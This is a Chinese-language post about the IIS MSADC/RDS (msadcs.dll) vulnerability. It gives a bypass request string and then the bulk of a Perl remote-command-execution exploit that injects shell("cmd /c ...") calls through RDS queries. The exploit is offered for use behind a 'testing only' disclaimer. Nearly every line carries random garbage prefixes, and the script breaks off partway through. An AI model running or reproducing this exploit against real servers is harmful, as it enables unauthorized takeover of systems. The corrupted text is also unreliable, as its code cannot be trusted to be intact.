IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[3N[i(Wlk &3Z?UhH 涉及程序:
at6149B\) Microsoft NT server
]"F5;p;y /qU>5; 描述:
k%P;w1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
fQ 7vL~E Q6
?z_0 详细:
@*MC/fe 如果你没有时间读详细内容的话,就删除:
FB:<zmwR c:\Program Files\Common Files\System\Msadc\msadcs.dll
#z!^<, 有关的安全问题就没有了。
aRJcSV Jq
]:<TQ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ZDx@^P y V-!"%fO.s 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Kmz7c| 关于利用ODBC远程漏洞的描述,请参看:
DNkWOY#{ eKN$jlg http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Bfr'Zdw iWLa> z|, 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
]XA4;7 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,FZT~? 06*rWu9P3 这里不再论述。
`zpbnxOL$T ^YvB9XN 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
g~S)aU\:, %."@Q$lA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
N^w'Hw0 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
~D[?$`x: re &E{ 1l8Etp&< #将下面这段保存为txt文件,然后: "perl -x 文件名"
7v7G[n _:`!DIz~9} #!perl
CO?Xt+1hR #
nZy X_J,Vd # MSADC/RDS 'usage' (aka exploit) script
sC"}8+[)S3 #
%XTcP2pRJ # by rain.forest.puppy
2Y!S_Hw8 #
?!VIS>C( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
LN2D # beta test and find errors!
<3okiV=ox ^pnG0(9 use Socket; use Getopt::Std;
Avlz=k1* getopts("e:vd:h:XR", \%args);
C\ZkGX m-/j1GZ* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qTQ!jN "xRBE\B if (!defined $args{h} && !defined $args{R}) {
os lJC$cy' print qq~
a`(a)9i Usage: msadc.pl -h <host> { -d <delay> -X -v }
=PHIpFIuk -h <host> = host you want to scan (ip or domain)
7piuLq+ -d <seconds> = delay between calls, default 1 second
!T,AdNa8 -X = dump Index Server path table, if available
8}e,%{q -v = verbose
ul f2vD -e = external dictionary file for step 5
6t'l(E + f~{}zGTM: Or a -R will resume a command session
cbYLU\! 9#d+RT ~; exit;}
VOTv?Vf Wu6<\^A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
A'&n5)tb if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Mwp$ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4*.K'(S5fx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3jH \yXj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
k
n[Y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;a{ :%t
Ez~'^s@ if (!defined $args{R}){ $ret = &has_msadc;
\dQx+f&t die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RP5+d G~7 i@Zs print "Please type the NT commandline you want to run (cmd /c assumed):\n"
J[~5U~F . "cmd /c ";
<"D=6jqZ $in=<STDIN>; chomp $in;
P^`duZ{T $command="cmd /c " . $in ;
-u!FOD/ `1OgYs if (defined $args{R}) {&load; exit;}
2lKV#9" ?E%ELs_Dl print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R"MRnr_4K &try_btcustmr;
P +"Y jw}}^3. print "\nStep 2: Trying to make our own DSN...";
l1U=f] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JO<wK "P-lSF?T print "\nStep 3: Trying known DSNs...";
@H>@[+S# &known_dsn;
K_?W\Yg klgy;jSEr print "\nStep 4: Trying known .mdbs...";
!+)AeDc:j &known_mdb;
cRd0S*QN2 G$0c'9d*( if (defined $args{e}){
,j:|w+l print "\nStep 5: Trying dictionary of DSN names...";
+ISz?~8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
h7*W*Bd `Q3s4VEC print "Sorry Charley...maybe next time?\n";
|tR
OL9b exit;
v:Tzv^ U7uKRv9 ##############################################################################
vx_o(wof +YLejjQ sub sendraw { # ripped and modded from whisker
zA+~7;7E sleep($delay); # it's a DoS on the server! At least on mine...
)*; zW!H my ($pstr)=@_;
P}ok*{"J<> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z[\O=1E, die("Socket problems\n");
pD]0`L-HJU if(connect(S,pack "SnA4x8",2,80,$target)){
0;4t&v7 select(S); $|=1;
@_:]J1jw7 print $pstr; my @in=<S>;
~_s?k3cd select(STDOUT); close(S);
u]u[(K5F return @in;
OouPj@r } else { die("Can't connect...\n"); }}
[gy*`@w T,xPSN2A* ##############################################################################
*_E|@y cLPkK3O\= sub make_header { # make the HTTP request
K7Rpr.p my $msadc=<<EOT
>9RD_QG7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{u1V|q User-Agent: ACTIVEDATA
aLJ(?8M@ Host: $ip
[.RO'>2z Content-Length: $clen
)o-Q!<*1 Connection: Keep-Alive
t#%R
q '>$]{vQ3 ADCClientVersion:01.06
E0%~!b Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
s&\I=J. B+^(ktZp@ --!ADM!ROX!YOUR!WORLD!
k+I}PuG Content-Type: application/x-varg
!RyO\>:q Content-Length: $reqlen
\#o2\!@` /%_OW@ ? EOT
'13ZX: ; $msadc=~s/\n/\r\n/g;
(b'B%rFO return $msadc;}
[7_56\G4 $zB[B;-!$ ##############################################################################
MlLb|!,)T 1]orUF&_ sub make_req { # make the RDS request
HB
Iip? my ($switch, $p1, $p2)=@_;
moP,B~ my $req=""; my $t1, $t2, $query, $dsn;
8
k3S '*\|;l#1 if ($switch==1){ # this is the btcustmr.mdb query
zC_<(4$-" $query="Select * from Customers where City=" . make_shell();
6[ OzU2nB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3~nnCR[R $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Fu&EhGm6 L\y;LSTU elsif ($switch==2){ # this is general make table query
6c^e\0q $query="create table AZZ (B int, C varchar(10))";
asY[8r?U $dsn="$p1";}
ui (^k $ 0b4R elsif ($switch==3){ # this is general exploit table query
CR6R?R3b $query="select * from AZZ where C=" . make_shell();
P!"&%d $dsn="$p1";}
6mKjau{r_ )_/5*Ly@ elsif ($switch==4){ # attempt to hork file info from index server
v3v[[96p $query="select path from scope()";
uV 7BK+[O $dsn="Provider=MSIDXS;";}
GnP|x}YM s21wxu: elsif ($switch==5){ # bad query
7 ^w >Rj $query="select";
NPFpq,P> $dsn="$p1";}
pABs!A`N wdUBg*X8 $t1= make_unicode($query);
,t\* ZTt$ $t2= make_unicode($dsn);
S"Zp D.XX $req = "\x02\x00\x03\x00";
]p_@@QTC $req.= "\x08\x00" . pack ("S1", length($t1));
5jUYN-$GO $req.= "\x00\x00" . $t1 ;
C@jJ.^
<< $req.= "\x08\x00" . pack ("S1", length($t2));
$.9{if#o& $req.= "\x00\x00" . $t2 ;
XJLQ{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
gY@N~'f;" return $req;}
J>u
7, i hh/sPi ##############################################################################
.BFYY13H Ok n(pJ0 sub make_shell { # this makes the shell() statement
2Ry1b+\ return "'|shell(\"$command\")|'";}
&3yD_P_3 %/9
EORdeH ##############################################################################
v@e~k-# gUeuUj sub make_unicode { # quick little function to convert to unicode
Ug&,Y/tFw2 my ($in)=@_; my $out;
SJIOI@\b for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
L[=a/|)TBV return $out;}
5Hcf;P7 #!)n
{h+ ##############################################################################
>@"Oe
ss5m/i7 sub rdo_success { # checks for RDO return success (this is kludge)
%;.;>Y(- my (@in) = @_; my $base=content_start(@in);
?JL:CBvCp if($in[$base]=~/multipart\/mixed/){
C-iK$/U return 1 if( $in[$base+10]=~/^\x09\x00/ );}
yRo-EP return 0;}
:O(^w}sle ^5=B`aich ##############################################################################
xhRngHU\z< To?W?s sub make_dsn { # this makes a DSN for us
Q'%PNrN my @drives=("c","d","e","f");
AE} )o)B print "\nMaking DSN: ";
{'U
Rz[g foreach $drive (@drives) {
:>+s0~ print "$drive: ";
G#MdfKH my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
gdkwWoN. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Unsogd . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|Pg@M $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{#)0EzV6 return 0 if $2 eq "404"; # not found/doesn't exist
6 ~>FYX if($2 eq "200") {
e^O(e foreach $line (@results) {
qu|B4?Y/CR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.|/~op4; } return 0;}
"_`F\DGAZu $^@ ) ##############################################################################
wQRZ"ri, L:9F:/G sub verify_exists {
6oBfB8]:d my ($page)=@_;
?:w1je7 my @results=sendraw("GET $page HTTP/1.0\n\n");
E8-P"`Qba return $results[0];}
K# Jk _"W F{UP;"8' ##############################################################################
e@IA20 e[8LmuIZ sub try_btcustmr {
u;`U*@ my @drives=("c","d","e","f");
zToq^T my @dirs=("winnt","winnt35","winnt351","win","windows");
l&[;rh C*`mM'# foreach $dir (@dirs) {
s M +WkN}{ print "$dir -> "; # fun status so you can see progress
&B|D;|7H foreach $drive (@drives) {
Z ,EvQ8i print "$drive: "; # ditto
/ 4lvP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
gH G $reqlenlen=length( "$reqlen" );
NOp609\^ $clen= 206 + $reqlenlen + $reqlen;
V
=-WYu xKFn.qFr my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7PkJ-JBA if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y*!qG else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
2z|*xS'G &o<F7U'R ##############################################################################
/r=tI)'$ ~{Mn{ sub odbc_error {
n(el]_d my (@in)=@_; my $base;
-Y='_4s my $base = content_start(@in);
Q_t`.jus if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!tp1:'KG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v;0|U:`] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5Lf{8UxI $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TY Qwy* return $in[$base+4].$in[$base+5].$in[$base+6];}
-e8}Pm
" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Hbpqyl%O> print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/"B?1?qc,= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6qaulwV4t 0fYj4`4=n ##############################################################################
W>O~-2 39=1f6I1 sub verbose {
:duo#w"K my ($in)=@_;
=dFv/F/RW return if !$verbose;
W]nSR RWco print STDOUT "\n$in\n";}
|<GDUwC_; VP6ZiQ| ##############################################################################
vPD]hs |M+<m">E sub save {
rs~wv(' my ($p1, $p2, $p3, $p4)=@_;
ObiT-D?)g open(OUT, ">rds.save") || print "Problem saving parameters...\n";
g]c 6&Y,# print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{\(L%\sV@ close OUT;}
]GRWnif 3.qTLga|} ##############################################################################
lgb?)= 3%E74 mOcD sub load {
y>aZXa my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.<Zy|1
4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
c.j$9=XLBG @p=<IN>; close(IN);
,JEFGI{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
D)d~3`=# $target= inet_aton($ip) || die("inet_aton problems");
>>5NX"{ print "Resuming to $ip ...";
;W^o@*i{> $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#cCL.p"] if($p[1]==1) {
u5Ftu?t $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
V?=8".GiX $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9F*+YG! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ETXZ?\<a5 if (rdo_success(@results)){print "Success!\n";}
`3hSLR else { print "failed\n"; verbose(odbc_error(@results));}}
|0%+wB elsif ($p[1]==3){
X3V'Cy/sy if(run_query("$p[3]")){
fF V!)Zj print "Success!\n";} else { print "failed\n"; }}
OdB?_.+$ elsif ($p[1]==4){
f4PIoZ e if(run_query($drvst . "$p[3]")){
YxP@!U9dE, print "Success!\n"; } else { print "failed\n"; }}
<NuUW9+ exit;}
`YIf_a{ Iwc{R8BV ##############################################################################
GPGm]G t
4A2?Uhpy sub create_table {
YE9,KVV;$n my ($in)=@_;
dtcIC0:[ $reqlen=length( make_req(2,$in,"") ) - 28;
6#Q K%[1!> $reqlenlen=length( "$reqlen" );
Qu]z)";7 $clen= 206 + $reqlenlen + $reqlen;
7K5P8N
, my @results=sendraw(make_header() . make_req(2,$in,""));
P`e!Z: return 1 if rdo_success(@results);
7Ddaf> my $temp= odbc_error(@results); verbose($temp);
FGh]S-A return 1 if $temp=~/Table 'AZZ' already exists/;
H
`(exa:w return 0;}
$O dCL E,f>1meN= ##############################################################################
p^'3Odd|O PgRDKygE sub known_dsn {
&